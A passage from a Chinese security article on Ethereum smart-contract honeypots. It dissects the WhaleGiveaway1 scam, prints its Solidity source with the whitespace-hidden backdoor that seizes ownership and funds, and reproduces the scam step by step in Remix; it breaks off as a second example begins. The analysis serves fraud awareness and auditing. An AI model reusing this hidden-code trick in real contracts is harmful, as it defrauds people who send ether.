智能合约蜜罐概述
研究安全的读者应该都清楚,蜜罐本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击。蜜罐设计的初衷就是让黑客来入侵系统,并借此收集证据,也隐藏了真实环境。
智能合约中也有蜜罐,但它不同于我们一般听到的蜜罐。在本文中,知道创宇区块链安全实验室 主要针对智能合约蜜罐(Smart Contract Honeypot)进行分析。
智能合约蜜罐的作用更像是钓鱼,通过引诱攻击者转账到蜜罐合约。相比于普通钓鱼行为面对一般用户,智能合约蜜罐的钓鱼行为针对的是智能合约开发者、智能合约代码审计人员以及黑客,这种钓鱼行为明显门槛更高。
接下来我们会对一些智能合约蜜罐的案例做讲解,揭露其中的骗局,这些智能合约蜜罐代码都可以 GitHub 上找到,这里给出他们的网址:
- smart-contract-honey(https://github.com/thec00n/smart-contract-honeypots)
- Solidlity-Vulnerable(https://github.com/misterch0c/Solidlity-Vulnerable)
根据这些智能合约蜜罐的欺骗手法,可以将它们大致的分类为以下几种
- 古老的欺骗手段
- 黑客的漏洞利用
- 新颖的赌博游戏
- 黑客的漏洞利用
由于篇幅有限,文章分为两部分进行讲解,本文作为上篇,主要对古老的欺骗手段和神奇的逻辑漏洞进行讲解和复现,新颖的赌博游戏和黑客的漏洞利用会在下篇中进行讲解。
古老的欺骗方法
2.1 超长空格的欺骗:WhaleGiveway1
2.1.1 蜜罐分析
第一个要介绍的蜜罐是一种最原始古老的欺骗方法,这个蜜罐叫做「WhaleGiveway1」,中文名为超长空格的欺骗,项目地址如下:
- GutHub 地址:
smart-contract-honeypots/WhaleGiveaway1.sol
(https://github.com/thec00n/smart-contract-honeypots/blob/master/WhaleGiveaway1.sol) - Etherscan 地址:
WhaleGiveaway1 | 0x7a4349a749e59a5736efb7826ee3496a2dfd5489
(https://etherscan.io/address/0x7a4349a749e59a5736efb7826ee3496a2dfd5489#code)
在 GitHub 中打开该合约,发现代码好像并没有什么问题,此时我们查看下方会看到有一个拖动条,当我们往右边拖动时就会发现问题的所在了,这也就是所谓的「超长空格的欺骗」。
当然了,如果攻击者并没有发现这个问题,就可能会被该蜜罐合约所欺骗,让我们来分析下被欺骗的原因。
细读下来代码可以发现 GetFreebie() 函数的条件是很容易被满足的,只有一个 if 语句进行判断,只要消息调用者所携带的转账金额大于 1 eth 就可以转走该合约中的所有以太币。
if (msg.value > 1 ether) {
// 判断消息调用者转账所携带的以太币是否大于 1 eth
msg.sender.transfer(this.balance); // 将合约中所有的 eth 转给消息调用者
}
当攻击者看到该段代码时会认为该合约存在漏洞,只需要向合约转入大于 1 eth 的金额就能转走合约中所有的以太币,也就理所当然的照做了,但当他们转入以太币后会发现根本不能取走合约中的所有以太币,这就是智能合约蜜罐诱惑之处,也是它的欺骗之处。
造成它的原因就在于标题说到超长空格的欺骗,还记得上面说到的拖动条吗?拖动按钮到一定的位置,我们就可以发现合约中大片空白的地方出现了一段代码,如下两张图所示。
这就是代码编辑器显示超长空格却没有自动换行所导致的,在 21 行和 29 行处蜜罐的作者通过增加一长串的空格来隐藏这些代码。
当我们将这些多余的空格去掉后,就揭开了该蜜罐合约的真面目:
如果消息调用者转账金额大于 1 eth,就先将合约中原有的以太币和这次转入的以太币一起全部转给合约的所有者,之后再将合约中的余额(此时余额已经为 0 个以太币)转给消息调用者(也就是转账的用户),很明显转账的用户已经变成了受害者被骗了。
if (msg.value>1 ether) {
// 消息调用者转账携带的金额需要大于 1 eth
Owner.transfer(this.balance); // 将合约中的所有以太币转到合约所有者地址中去
msg.sender.transfer(this.balance); // 将合约中的所有以太币转到消息调用者地址去,但此时合约中已经没有了以太币
}
除了 21 行的超长空格,29 行处也有超长空格,在没有去掉这些多余的空格时代码如下:
function withdraw() payable public {
// 提款功能
require(msg.sender == Owner); // 要求消息调用者为合约所有者
Owner.transfer(this.balance); // 将合约中所有以太币转给合约所有者
}
这段代码的意思是:只有调用者为合约所有者时,才能使用 withdraw() 进行提款并放到 Owner 地址中,而正常来说 Owner 地址是合约的所有者,一般是没有问题的。
然而实际上去掉多余的空格后我们会发现,在判断调用者是否为合约所有者之前还有一个 if 语句和赋值操作,这会先判断调用者的地址是否为攻击者的地址,如果是就将合约所有者的地址设为该地址,这就导致了只有攻击者可以随时利用该问题取走合约的所有余额。
具体代码如下:
function withdraw() payable public {
if (msg.sender == 0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b) {
Owner = 0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;
}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
当我们将合约的代码放到本地进行自动换行时就可以发现该合约是存在问题的。
//contract address: 0x7a4349a749e59a5736efb7826ee3496a2dfd5489
pragma solidity ^0.4.19;
contract WhaleGiveaway1
{
address public Owner = msg.sender;
function()
public
payable
{
}
function GetFreebie()
public
payable
{
if(msg.value>1 ether)
{
Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}
function withdraw()
payable
public
{
if(msg.sender==0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b){
Owner=0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}
function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
}
2.1.2 代码复现
将上述的问题代码放到 Remix IDE 中
再将 29 行后隐藏代码中的地址修改为
0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
该地址做为攻击者的账户地址,也就是说会存在 3 个地址,分别是:
- 合约部署者 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
- 攻击者 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
- 蜜罐攻击者(也是受害者) 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c
将合约代码编译后使用 0x5B3 账户点击「Deploy」进行部署,之后调用 Owner() 函数查询当前合约所有者,为 0x5B3。
再使用部署者账户 0x5B3 设置 msg.value 为 10 eth,点击「Transact」调用回退函数转入这 10 eth,此时合约的余额就变成了 10 eth,而部署者账户 0x5B3 的余额变成了 89 eth。
攻击者 0xAB8 调用 withdraw() 函数在获取合约所有者权限的同时也将合约中的 10 eth 转到自己的账户中,此时攻击者账户为 109 eth。
并且调用 Owner() 函数可以发现合约的所有者已经变为了 0xAb8。
之后蜜罐攻击者 0xCA3 发现了该蜜罐并被欺骗以为该合约存在漏洞,准备获取合约中的 10 eth,所以蜜罐攻击者 0xCA3 将 msg.value 设置为 5 eth 调用 GetFreebie() 函数进行攻击,此时蜜罐攻击者 0xCA3 的账户余额变成了 94 eth。
再次查看账户余额,可以发现蜜罐攻击者 0xCA3 相应的减少了转入的 5 eth,而攻击者 0xAb8 的余额变成了 114 eth,蜜罐攻击者 0xCA3 成功被蜜罐欺骗。
2.2 超长空格的欺骗:TestToken
2.2.1 蜜罐分析
与上面蜜罐合约类似的还有一个叫「TestToken」,也是超长空格的欺骗,项目地址如下:
GutHub 地址:
smart-contract-honeypots/